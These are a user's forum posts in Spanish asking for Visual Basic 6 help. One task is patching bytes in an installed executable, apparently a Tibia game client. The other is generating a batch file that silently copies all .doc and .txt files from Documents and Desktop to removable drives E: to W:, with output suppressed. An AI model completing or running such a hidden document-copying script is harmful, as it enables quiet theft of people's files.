Mensajes

si muchas gracias entonces j viene siendo =al primer numero de 1846824
por ejemplo si yo tengo 1846120 y quiero que de ay empise no tengo que poner este numero si no  1846119 verdad xd por que vi que salta un byte en hex si no pongo un numero antes

muchisimas gracias funciona

me podrias explicar mas o menos el codigo  pero en forma

if text1.text=xd then
si text1 =xd entonces <-- asi please xd

quiero comprender bien el codigo si no es mucha molestia xD
no logro enteder esto

i = j + 1846823
  bytearray(i) = asc(mid(text1.text, j, 1))

como isestes desde 1846823 1846834 ?¿

oks gracias por aclararme la duda xD

podria ser asi ?

Código [Seleccionar] Expandir

bytearray() = StrConv(Datos, vbFromUnicode)
'cmain frame
bytearray(1846824, 1846825, 1846826, 1846827, 1846828, 1846829, 1846830, 1846831, 1846832, 1846833, 1846834) = Asc(Text1.Text)

biterray esta declarado como string pero me sale una ventana diciendo error 13 no coinciden los datos

Código [Seleccionar] Expandir

Dim file As String, Datos As String, bytearray() As Byte

file = "C:\Archivos de programa\aplicacion\xd.exe"
Open file For Binary As #1
Datos = Space(LOF(1))
Get #1, , Datos
Close #1

bytearray() = StrConv(Datos, vbFromUnicode)
'cmain frame
bytearray(1846824) = Asc("T")
bytearray(1846825) = Asc("i")
bytearray(1846826) = Asc("b")
bytearray(1846827) = Asc("i")
bytearray(1846828) = Asc("a")
bytearray(1846829) = Asc("C")
bytearray(1846830) = Asc("l")
bytearray(1846831) = Asc("i")
bytearray(1846832) = Asc("e")
bytearray(1846833) = Asc("n")
bytearray(1846834) = Asc("t")

Open file For Binary As #1
Put #1, 1, bytearray()
Close #1
End Sub


lo que quiero es no hacer tantas lineas en los bytearray quiero hacer un texbox  que acomode todo quiero todos estos bytes array en una sola linea  espero me entienda xD
1846824,1846825,1846826,1846827,asta 1846834 con un texbox y que en el texbox no se puedan escribir mas de 11 letras
por favor ayuda :S

de casualidad no te basastes en juego llamado tibia al darme este ejemplo ?¿ el mz se me ase conocido xD

pero bueno muchisisisisimas gracias veo que en este foro si ayudan muchas gracias

me podrias dar una idea XD
dime una pagina o como para tratar de entender si puedes xD

mi pregunta es se puede modicar una parte de un programa con vb6

por que con un editor hexadecimal si se puede pero se puede automatizar esto para que cambie solo unas partes del codigo desde vb6 ?

muchisimas gracias gracias gracias

&  <--- si no fuera mucha molestia me puedes decir que funcion tienen estas cosas ?

es que lo que quiero es que me genere un bat agregando las extensiones :S

Código [Seleccionar] Expandir


Print #1, "REM E"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "E:\datossss\")) >NUL"
Print #1, "REM F"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "F:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "F:\datossss\"))>NUL"
Print #1, "REM G"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "G:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "G:\datossss\"))>NUL"
Print #1, "REM H"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "H:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "H:\datossss\"))>NUL"
Print #1, "REM I"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "I:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "I:\datossss\"))>NUL"
Print #1, "REM J"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "J:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "J:\datossss\"))>NUL"
Print #1, "REM k"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "K:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "K:\datossss\"))>NUL"
Print #1, "REM L"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "L:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "L:\datossss\"))>NUL"
Print #1, "REM w"
Print #1, "(FOR /R "%userprofile%\Mis documentos\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "W:\datossss\"))>NUL"
Print #1, "(FOR /R "%userprofile%\escritorio\" %%a IN (*.doc,*.txt)  DO  (copy /y "%%a" "W:\datossss\"))>NUL"

mira si esto lo pongo en vb6 me da error lo que ase este codigo es hacer el bat pero tengo errores en los % "" pff XD espero me puedan ayudar